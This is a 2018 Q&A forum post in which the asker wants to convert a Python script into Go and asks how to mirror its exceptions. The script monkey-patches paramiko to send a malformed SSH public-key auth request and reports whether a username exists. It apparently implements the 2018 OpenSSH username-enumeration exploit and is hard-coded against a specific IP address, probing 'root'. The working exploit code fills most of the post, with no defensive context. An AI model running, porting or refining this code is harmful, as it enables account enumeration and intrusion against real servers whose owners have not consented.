doushan2224
doushan2224
2018-08-26 09:49

golang使用ssh连接到ssh并打印错误异常

  • it技术
  • 互联网问答
  • IT行业问题
  • 编程语言问答
  • 计算机技术

I want to convert python code in golang version, this is my python code:

#!/usr/bin/env python

import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

#logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

sock = socket.socket()
sock.connect(("206.189.86.110", 22))

transport = paramiko.transport.Transport(sock)
transport.start_client()

try:
    transport.auth_publickey("root", paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'

this is my curent golang code : https://play.golang.org/p/rzZ7f_if7Wk , I want to create same exception like python code version except InvalidUsername: and paramiko.ssh_exception.AuthenticationException , how I can do this?

  • 点赞
  • 回答
  • 收藏
  • 复制链接分享

1条回答